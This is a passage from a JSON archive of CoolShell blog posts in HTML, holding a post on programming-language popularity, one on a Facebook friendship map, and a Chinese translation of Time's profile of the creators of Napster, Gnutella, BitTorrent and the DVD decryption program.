class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/265.html\">深入浅出单实例Singleton设计模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3156.html\"><img alt=\"Go语言的”Issue 9″ Closed!\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3156.html\">Go语言的”Issue 9″ Closed!</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/16.html\"><img alt=\"结对编程的利与弊\" height=\"150\" src=\"../wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/16.html\">结对编程的利与弊</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/23.html\"><img alt=\"Fork 系统炸弹\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/23.html\">Fork 系统炸弹</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/313.html\"><img alt=\"Linux的“宕机”图片\" height=\"150\" src=\"../wp-content/uploads/2009/04/linux_crash_1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/313.html\">Linux的“宕机”图片</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10449.html\"><img alt=\"C++模板”&gt;&gt;”编译问题与词法消歧设计\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10449.html\">C++模板”&gt;&gt;”编译问题与词法消歧设计</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3356.html\">五个免费开源的数据挖掘软件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-13 编程语言流行度.html",
    "content": "<html><body><p>下面是一个关于编程语言流行度的图（以前本站也有一篇<a href=\"https://coolshell.cn/articles/706.html\" target=\"_blank\">编程语言流行度的文章</a>）。其X轴是从Github中取来的数据（项目数），而Y轴是从StackOverflow取来的（tag数）。注意：Github提供了语言流行度：<a href=\"https://github.com/languages\">https://github.com/languages</a>，而本图的原始数据在<a href=\"http://www.dataists.com/wp-content/uploads/2010/12/language_ranks1.csv\" target=\"_blank\">这里</a>。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_3386\" style=\"width: 581px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1.png\"><img alt=\"\" class=\"size-large wp-image-3386\" height=\"436\" src=\"../wp-content/uploads/2010/12/rank_scatter1-1024x768.png\" title=\"编程语言流行度\" width=\"581\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-3386\">编程语言流行度（点击看大图）</figcaption></figure>\n<p>来源：<a href=\"http://www.dataists.com/2010/12/ranking-the-popularity-of-programming-langauges/\" target=\"_blank\">http://www.dataists.com/2010/12/ranking-the-popularity-of-programming-langauges/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4626.html\"><img alt=\"读书笔记：对线程模型的批评\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3100.html\"><img alt=\"编程语言进化\" height=\"150\" src=\"../wp-content/uploads/2010/10/language-evolution-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2724.html\"><img alt=\"计算机编程简史图\" height=\"150\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2598.html\"><img alt=\"五个编程语言设计的失误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2539.html\"><img alt=\"参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2539.html\">参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-15 Facebook全球关系网.html",
    "content": "<html><body><p><a href=\"http://www.facebook.com/paulgb\">Paul Butler</a> 是Facebook的Data Infrastructure Engineering Team的一个实习生，他把Facebook 5亿用户的人际关系网给图示了出来（见下图，<a href=\"http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs1382.snc4/163413_479288597199_9445547199_5658562_14158417_n.jpg\" target=\"_blank\">源图片</a>）挺赞的。从中我们可以看到，某些地方是一片漆黑……</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook.png\"><img alt=\"Facebook 全球关系网\" class=\"aligncenter size-large wp-image-3397\" height=\"285\" src=\"../wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-1024x509.png\" title=\"Visualizing Friendships on Facebook\" width=\"574\"/></a>Facebook全球关系网<br/>\n(点击看大图，3.8M)</p>\n<p style=\"text-align: left;\">关于Paul是如何产生这个图的，你可以参看：<a href=\"http://www.facebook.com/notes/facebook-engineering/visualizing-friendships/469716398919\" target=\"_blank\">http://www.facebook.com/notes/facebook-engineering/visualizing-friendships/469716398919</a> （墙）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18140.html\"><img alt=\"关于Facebook 的 React 专利许可证\" height=\"150\" src=\"../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18140.html\">关于Facebook 的 React 专利许可证</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7448.html\"><img alt=\"扎克伯格的一封信：关于Facebook IPO\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7448.html\">扎克伯格的一封信：关于Facebook IPO</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4549.html\"><img alt=\"Facebook 的系统架构\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4549.html\">Facebook 的系统架构</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19.html\"><img alt=\"时间1234567890\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19.html\">时间1234567890</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10804.html\"><img alt=\"X-Y Problem\" height=\"150\" src=\"../wp-content/uploads/2013/12/x-y.problem-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10804.html\">X-Y Problem</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3396.html\">Facebook全球关系网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-16 偷了世界的程序员.html",
    "content": "<html><body><p>本文译自美国时代（time.com）的《<a href=\"http://www.time.com/time/specials/packages/printout/0,29239,2032304_2032746_2032903,00.html\" target=\"_blank\">The Men Who Stole the World</a>》，原作者：Lev Grossman。相当有传奇色彩，读起来很爽，翻译过来。译得不好，还请大家指正。本中的四个程序员可能并不是那么声名显赫，而且也很不老实，或许算不上成功，不过他们的确改变了世界。<strong>而本文有分析了互联网上P2P的那些事，相当的有参考价值</strong>。</p>\n<p><em><span style=\"color: #993300;\">2010年12月17日更新：修改了一些错误，理顺了一些语句。<br/>\n2010年12月19日更新：增加了一些插图。 </span></em></p>\n<p>————————正文————————</p>\n<p>十年前，有四个年轻人改变了这个世界的运作方式。他们使用的并不是法律或是武器或是金钱，而是使用软件来改变世界。他们当时有着激进和极具破坏性的想法，并把这些想法付诸于代码，在Internet上以免费自由方式发布。这四个人，没有一个完成了大学学业，却奠定了今天我们习惯的数字媒体环境的基础。然后，因为各种原因，他们也迅速地消失在公众视野中。</p>\n<p>1999年，美国东北大学的一个叫Shawn Fanning的一年级新生开发Napster，从此，成为了P2P文件共享和不需要大型机构或零售商就可以获得音乐的先锋和范例。《时代周刊》和《财富》把他放上了封面。那时，他在19岁。</p>\n<p>就在同一年，一个挪威的只有十几岁的年轻人 Jon Lech Johansen，他和另两个今天都不为人知的程序员，写下了一个程序解密了商业的DVD，而他成为了全球盛名的“ DVD Jon.”，那年，他只有15岁。</p>\n<p>而在1997年，Justin Frankel，一个亚利桑那州塞多纳的18岁的黑客，开发了一个免费的MP3播放器——WinAmp，其成为了Windows操作系统上装机必备的软件，并造就了主流数字音乐的革命。在他发布的第18个月内，1500万人下载了这个软件。而三年后，Frankel 开发了 Gnutella，一个P2P的文件共享协议，没有中心结点，不像 Napster，其不可能被关闭。目前有上百万人还在使用它。</p>\n<p>2001年，Bram Cohen, 当年 26 岁，开发了一个P2P的文件传输共享协议—— BitTorrent，其以全新一流的架构全面优化了网络上大文件的共享和传输效率。 BitTorrent 也变成了整个Internet上发布大数据和文件的一个标准。</p>\n<p><span id=\"more-3363\"></span></p>\n<p>在 2000年代的上半段，《时代》采访了这四个程序员。那个时候，看起来他们要以数字化动乱把整个复杂的传统媒体娱乐平台给拆除，而对有版权的电影，音乐和电视的收费则变得困难和不可能，那些艺术家也将无法从他们作品得到报酬，整个娱乐业包括时代华纳也将被炸为平地。而盗版业则借着这四个程员的软件侵袭了美国公司。</p>\n<p>“毕竟”，我们在2003年报道到：“在整个信息经济中，不可能所有的信息都是免费的”。如果毁灭正在来临，那么， Fanning, Johansen, Frankel 和 Cohen 将是那“<a href=\"http://zh.wikipedia.org/zh-cn/%E5%90%AF%E7%A4%BA%E5%BD%95%E4%B8%AD%E7%9A%84%E5%9B%9B%E9%AA%91%E5%A3%AB\" target=\"_blank\">四骑士</a>”（译注：启示录中的四骑士传统上被解释为瘟疫、战争、饥荒和死亡）。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-medium wp-image-3413\" height=\"225\" src=\"../wp-content/uploads/2010/12/Shawn-Fanning-and-Bram-Cohen-300x225.jpg\" title=\"Shawn Fanning and Bram Cohen\" width=\"300\"/>Shawn Fanning（左） 和 Bram Cohen（右）</p>\n<h4><strong>没有毁灭</strong></h4>\n<p><strong></strong>毁灭并没有发生。但是整个娱乐业因此而改变，而这些改变的复杂性和逐渐演进超出了我们的期望。这些发生的故事，海盗王们的事，对于今天数字化世界正在发生的事情有非常高的参考和教育价值。Fanning, Johansen, Frankel 和 Cohen 现在都硅谷运作着自己的小的，合法的软件公司。他们现在没有在做和盗版有干系的事情——当然，如果他们真的没有。</p>\n<p>Fanning，四个人中唯一一个没有回复我们的采访请求的人，他较早地退出了毁灭传统唱片业的事业。在2001年，Napster因为不堪众多关于其协助并煽动版权侵权的法律诉论的重压，而不得不关闭。2002年，Fanning 创办了新的服务 Snocap —— 他尝试把文件共享合法化，在和相关的唱片公司合作下，Snocap 赋予消费者对其下载作品给于创作者报酬的权利。</p>\n<p><img alt=\"\" class=\"size-full wp-image-3415 alignleft\" height=\"156\" src=\"../wp-content/uploads/2010/12/Shawn-Fanning.jpg\" title=\"Shawn Fanning\" width=\"234\"/></p>\n<p>但是，到那个时候，免费自由的文件共享程序像病毒一样的增涨，而用户则热衷于更换他们的音乐硬盘。他们仅在2001年8月一个月内就交换了30亿个文件。而要从这些文件交易中收到钱是根本不可能的。是的，要和免费竞争是很难的一件事。 Fanning 创造了一个连他自己都搞不定的怪物。</p>\n<p>所以，他停止继续尝试Snocap下去。 Fanning 的下一个项目是给游戏玩家的社交网络叫 Rupture，最终，他在2008年时以1500万美金把其卖给了电子艺界Electronic Arts ——这是他的第一次发薪日。他现在又于2008年11月开了一个公司 Path， 其主要提供给iPhone手机进行照片分享的服务。</p>\n<p>而Napster呢？今天他还在。这个商标在破产拍卖时被卖了，然后再被卖了，但其再也没有被 重建。现在其被  Best Buy 运营，其是 iTunes 的竞争者，其口号是—— “More than just a music store.” （不仅仅只是音乐商店）</p>\n<h4>没有盗版的人</h4>\n<p><strong></strong><br/>\n<img alt=\"\" class=\"alignright\" height=\"180\" src=\"../wp-content/uploads/2010/12/Justin-Frankelyoung.jpg\" title=\"Justin Frankel(young)\" width=\"135\"/>作为 Gnutella 的作者， Justin Frankel 是 Fanning 合法的继任者。不像 Fanning，他很早就收获了他的第一桶金。在1999年，当WinAmp大放光芒的时候，AOL买了WinAmp和他的公司——Nullsoft，价格应该在1亿美金左右。这让 Frankel 在20岁的时候就非常富有。当然，他也成了AOL的员工。</p>\n<p>但这并不是很匹配，在Nullsoft, Frankel的做法是把软件开发到极致，然后免费发布出去。而在 AOL，软件的商业销售威胁并压倒了软件本身。“我致力于的产品，就像这样，我们不愿意金钱的掺入，我们正和其它公司做这笔交易，所以，产品也只能是这样的结果”，他回忆到，“没有人真正地去关心用户的体验是怎么样的”。</p>\n<p>与此同时，Frankel 用他的业余时间开发 Gnutella 。这是一个很有才的软件，不像Napster，其是真正的分布式，没有中心服务器，这样，也没有那个“关闭按钮”让那些律师按。在2000年3月的时候，Gnutella上线，其发了一个贴子：“看见没？AOL也能给你一些好的东西！”，但是就算是这样，也没有换来AOL对其忠爱，而一大堆互联网公司在那时试图并入大的媒体公司，在Napster被诉讼的中期，2004年，他离开了AOL。</p>\n<p>然后，他开始干了些有趣的事：他离开了他的成功地，他不用 Gnutella，也没有花一毛钱，就算是10年以后也是这样。 LimeWire —— 最流行的 Gnutella 客户端 —— 号称有 5千万用户。“当我开发它的时候，我最初主要是想用其在验证一下是否可行。所以我也不想从其中获益”，他说，“所以，甚至我和它一点关系也没有也说得通，其就是一个概念”。<img alt=\"\" class=\"alignleft\" height=\"200\" src=\"../wp-content/uploads/2010/12/Justin-Frankel.jpg\" title=\"Justin Frankel\" width=\"160\"/></p>\n<p>Frankel 他最近从旧金山搬到了纽约城，现在全心打理自己的公司 Cockos (别问为什么叫这名)，这是一个关于音频产品套件，叫 Reaper。他坚持不懈地改进着它，并且他和他的用户保持着很近的关系，其用户数大约是几万人。“当前的策略我们并不想发展用户数量”，他说，“我们只是在享受目前的过程，并在做正确的事情”。他并不同意他是这个世界上最危险的geek，而滚石在2004年时对他则是这么认为的。“我不觉得盗版是很危险的”，他说，“根本上来说，大众的商业模式总是依赖于对所有事情的强控制——尤其是那些有瑕疵的模式。而作为一个软件开发者来说，多少会产生一定程度的盗版”， Gnutella 对他来说已是远古的事情了。“数字化盗版：它毁了唱片业了吗？没有。唱片业适应了吗？当然，很多人会说得更好。你应该更关注质量，以及更小一些乐队，等等这类的事”。</p>\n<p>“至于音乐流行和排行这么大的市场，这点盗版算什么？” 他边说边笑道， “我希望就是这样。”</p>\n<h4><strong>四眼怪兽</strong></h4>\n<p><strong></strong>在这四骑士中，只有 Bram Cohen他现在还在致力于其10年前的那个项目。他是 BitTorrent的创始人和首席科学家，而一个令人敬佩的旧金山的公司希望能把Cohen的这个令人瞠目的高效的内容分布式技术变成商业化应用。</p>\n<p><img alt=\"\" class=\"alignright size-full wp-image-3414\" height=\"225\" src=\"../wp-content/uploads/2010/12/Bram-cohen-codecon-2006.jpg\" title=\"Bram-cohen-codecon-2006\" width=\"150\"/></p>\n<p>这是一个奇特的公司：其合法的业务建立在一种仍然可能被用来进行大规模版权侵权的技术上。即使像 BitTorrent这样被8千万用户安装了的东西，其看上去还是像刚刚开始创业一样。 在BitTorrent上有相对较小的一部分是完全合法的 —— 最近的一个研究表明完全合法的部分占11%。而在这11%中，有更少的一部分产生了BitTorrent的收入。</p>\n<p>就像 Fanning 的 Snocap 一样，Cohen 试图把其BitTorrent从大量的盗版领域转移到合法的领域，这样才能挣到钱。2007年是BT发展最震动的一年，BitTorrent成为了20世纪福克斯、派拉蒙、华纳兄弟 和 米高梅 影业公司的合作伙伴，和他们一起共同形成了 Torrent Entertainment Network，主要提供电影，电视，电子游戏的购买和零售。</p>\n<p>就像 Fanning一样， Cohen 明了要摆脱盗版并不像看上去的那么容易。“所有的和它有关的事都是灾难”，他说到。Torrent Entertainment Network 于2008年底关闭。回想起来，你能明白这为什么不行。 BitTorrent在用户友好上做得还不够，并且，在其底层也不够有效率。它可以很快地像病毒一样地移动大量的数据。然后，当你要在上面算钱的时候，你不得不把速度给降下来，然后跟踪并控制其下载流，还和使用一些很扯淡的诸如“数字版权管理（DRM）”之流的技术，其大量地限制了用户那些是可以干的，哪些是要买的。</p>\n<p>“我从这次失败中学到了很多很多的教训”， Cohen 悔恨地说。他现在的策略是只和那些只需要他的BT中的“快速”和“病毒式分布”的人合作。“与其去和那些内容提供商合作，为他们加上特权，以扩展我们的渠道，我们还不如直接获取那更大的渠道，那里的人更喜欢更为开放的方式”。</p>\n<p>迄今，对些感兴趣的独立电影制片商叫 <em>Four Eyed Monsters</em> （四眼怪兽）和 一个叫 <em>Pioneer One </em>（<a href=\"http://movie.douban.com/subject/4901534/\" target=\"_blank\">先驱者一号</a>）的电视剧集的创作团队。说起来有点沮丧：Cohen正坐在一个消防水带上，一个程序员所梦想的成功的技术却失控了，而大的玩家又不想来玩。</p>\n<p>以他的编码天份，Cohen可以很容易的进入一家大型的公司。但那并不是他的风格。“我的确需要一定的自由度”，他说。他现在正在开发一个全新的事情——一个P2P的实时数据流的系统，而不是分散的文件。这个项止将可能有巨大的潜力，尤其在新闻、体育等事的互联网上的现场直播。当然，他还在维护着 BitTorrent，但他没有花太多的时间在上面。他说：“当我开发它的时候我就知道没错”。</p>\n<h4><strong>简单之道</strong></h4>\n<p><strong></strong>那么，在去年，盗版导致了什么？在美国，每个人都认为盗版对内容制造者的影响并没有那么坏。一份去年四月份美国审计署的报告，非常牵强地把盗版和滞销给联系在一起，但其结果尚无定论。</p>\n<p>打击盗版在今天扁平化的世界上并不那么成功。无政府主义的世界观加上那些无与伦比的代码，不可能在那些合法的津津计较的商业界里传播。好的代码应该给用户有不同的选择，用户使用他们也并不一定是对行业有益的。而你真正需要的是向那些合法商业界挑战，挑战他们那些限制用户做用户想做的事的那种独裁性。（译注：这让我想到了腾讯360还有敏感词）</p>\n<p>另外一个重要的原因是唱片业的灾难是不会发生的。Steve Jobs 在 2003年4月28日，那段时间是互联网文件共享井喷的时候，Apple揭开了iTunes Music Store的面纱。在那个时候，我们都觉得iTunes不可能成功，就像<a href=\"http://en.wikipedia.org/wiki/SNOCAP\" target=\"_blank\">Snocap</a>以及他和它类似的项目都以失败告终。这是因为，你怎么可以可能和免费竞争呢？</p>\n<p>但是iTunes 确实成功了。Apple无情地强调着简单和有魅力的用户接口，以及有乔布斯对唱片业的那强有力的谈判，造就了一个最新型的专业的服务，其可以让你放心地下载并传输音乐。的确是做到了，尽管其是收费的，而且我们的购买需要和DRM（数字版权管理）扯上关系并限制我们。</p>\n<p>于是，我们看到了可以和免费竞争的东西——简单（译注：个人以为可能还需要加上一点时尚）。Napster, Gnutella 和 BitTorrent 从来没有在用户友好度上到达像Apple那样的境界。从来没有人在网上检查并整理那些文件内容，所以，当那些众多的文件被共享时，我们可以看到，很多文件加杂时广告，色情，木马，病毒以及其它一些垃圾。当乔布斯为我们提供了那条简单之路，我们接受了。很明显，自由太过头——至少数字媒体是这样的。</p>\n<p><img alt=\"\" class=\"alignleft size-full wp-image-3410\" height=\"168\" src=\"../wp-content/uploads/2010/12/DVD_Jon.jpg\" title=\"DVD Jon\" width=\"136\"/>这是一个让那些年轻的海盗王们认真学习的教训。就像 Fanning, Frankel 和 Cohen一样， 其实，Jon Lech Johansen 并不能算得上是一个真正的海盗。他没有因为想把好莱坞搞破产而去帮助破解DVD，他这样做是因为他想在他的电脑上看电影。他的电脑安装的是Linux操作系统，而1999年，在Linux上根本没有可以用来播放DVD的程序，所以，他和他的伙伴们决定自己写一个，所以，他们不得不先把DVD给解密了。</p>\n<p>当美国电影协会（ Motion Picture Association of America）发现了DVD被破解的这个事，其向挪威政府控告 Johansen，并拘留了他。 他在奥斯陆(挪威的首都)受审两次，不过两次都被宣告无罪。因为他解密的DVD是他付费购买的。</p>\n<p>但Johansen真正的明白消费者对其购买的数字媒体的权利，这就好像一本书一样——我们可以不断的使用这本书，或是把这本书借出去，这是我们的权利。2005年， Johansen 去了加利福尼亚，在那里，他逆向工程了 FairPlay，这是苹果公司的用来保护其多媒体文件的DRM类软件（译注：这是苹果公司用来加密iPod的工具）。之后，他注意到了苹果公司产品的用户体验是多么的迷人，所以，他在想，应该把这些东西带给全世界给那些更为无序的非苹果的产品。</p>\n<p><img alt=\"\" class=\"size-medium wp-image-3417 alignright\" height=\"300\" src=\"../wp-content/uploads/2010/12/envy-199x300.jpg\" title=\"iPhone Envy\" width=\"199\"/></p>\n<p>“我们看到这世上有很多很多的产品，但其并没有像他们那样良好地运作”，Johansen说，那时他26岁的程序员。“所以，我们应该开发一个系统，其可以让这些设备的整合起来并给消费者他一个相当不错的用户体验”。</p>\n<p>所谓的 “我们”，就是 Johansen 自己的公司—— doubleTwist，这个公司于2007年创建。 doubleTwist 软件是免费的，是一种像<a href=\"http://zh.wikipedia.org/zh-cn/%E7%BE%85%E5%A1%9E%E5%A1%94%E7%9F%B3%E7%A2%91\" target=\"_blank\">罗塞塔石</a>一样的为数字多媒体软件文件开发的软件——它是可以翻译，和谐并组织大约500种不同设备的文件，把他们放在一起并提供一个相当漂亮的接口。其6月份， doubleTwist 摧出 Android App，当时就有超过50万的用户下载了（译注：大家可以<a href=\"http://www.google.com/search?q=doubleTwist+android+app\" target=\"_blank\">Google一下</a>，好评如潮）。去年， doubleTwist 开始了他的政变打出了这样的广告：“The Cure for iPhone Envy. Your iTunes library on any device. In seconds.”（嫉妒iPhone的对策。你的iTunes库可以在任何设备上，只需几秒钟。）它这个条幅挂在了苹果在旧金山的旗舰店的外墙上。</p>\n<p>Johansen 拒绝承认他和盗版有关系。“至于我被所指责的，真的和我没有什么关系”，他说。“我支持公平使用，意思是你的确是需要合法地获得内容，但你应该有权利使用任何一款设备或是应用程序来查看那些内容”。 Johansen 像所有的海盗王一样，他总是能写好的代码，而这些好的代码给了人民使用的权力。这才是盗版灾难不会发生的真正原因。<strong>盗版永远不希望所有的音乐和电影或是其它的东西成为免费的，他们想要的“free”其实是自由！</strong></p>\n<p>————————————正文结束————————————</p>\n<p>最后一句话是点睛之笔，作者对这个世界的认识真是相当的透彻。所以，加粗了。我个人理解本文带给我如下的启示：</p>\n<ol>\n<li>年轻就应该豁得出去，就应该有天不怕地不怕的想法，并付诸于行动。</li>\n<li>互联网上的盗版永远不会停止，与其说是盗版，其后面则是自由和无政府主义。</li>\n<li>自由过度并不是那些利益集团所希望的，并可能会让你惹上麻烦，不过这世界总是因此而改变。</li>\n<li>版权限制和免费并不是最好的，而最根本的是尊重用户的自由权以及不断地化繁为简以改善用户的体验。</li>\n</ol>\n<p>另，题外话，最近一段时间都在招人，有一天，一个同事和我说，“现在的这些程序员怎么回事啊？我问他们：‘你心目中的最牛的程序员是谁？’，居然回答不出来，有人说是Bill Gates，还有人说是马云，气死我了……”。我想想也真是可笑，难道，Dijkstra，Linus，Ken Thompson，Dennis Ritchie，Richard Steven，Bjarne Stroustrup…… 这些人不认识吗？就知道有钱人，哎，这个时代真是个文化缺失的年代！。</p>\n<p>推荐本站的几篇文章：<a href=\"https://coolshell.cn/articles/2322.html\" rel=\"bookmark\">Unix传奇(上篇)</a>、<a href=\"https://coolshell.cn/articles/2324.html\" rel=\"bookmark\">Unix传奇(下篇)</a>、<a href=\"https://coolshell.cn/articles/2724.html\" rel=\"bookmark\">计算机编程简史图</a>、<a href=\"https://coolshell.cn/articles/2439.html\" rel=\"bookmark\">黑客的价值观</a>。</p>\n<p>其实细想一下，不单单是我国的计算机文化都是那些肤浅的大公司的文化。</p>\n<p>最后还是送给大家那句话——<strong>真正让我们成为局域网的不是那个墙，而是我们自己的肤浅</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" 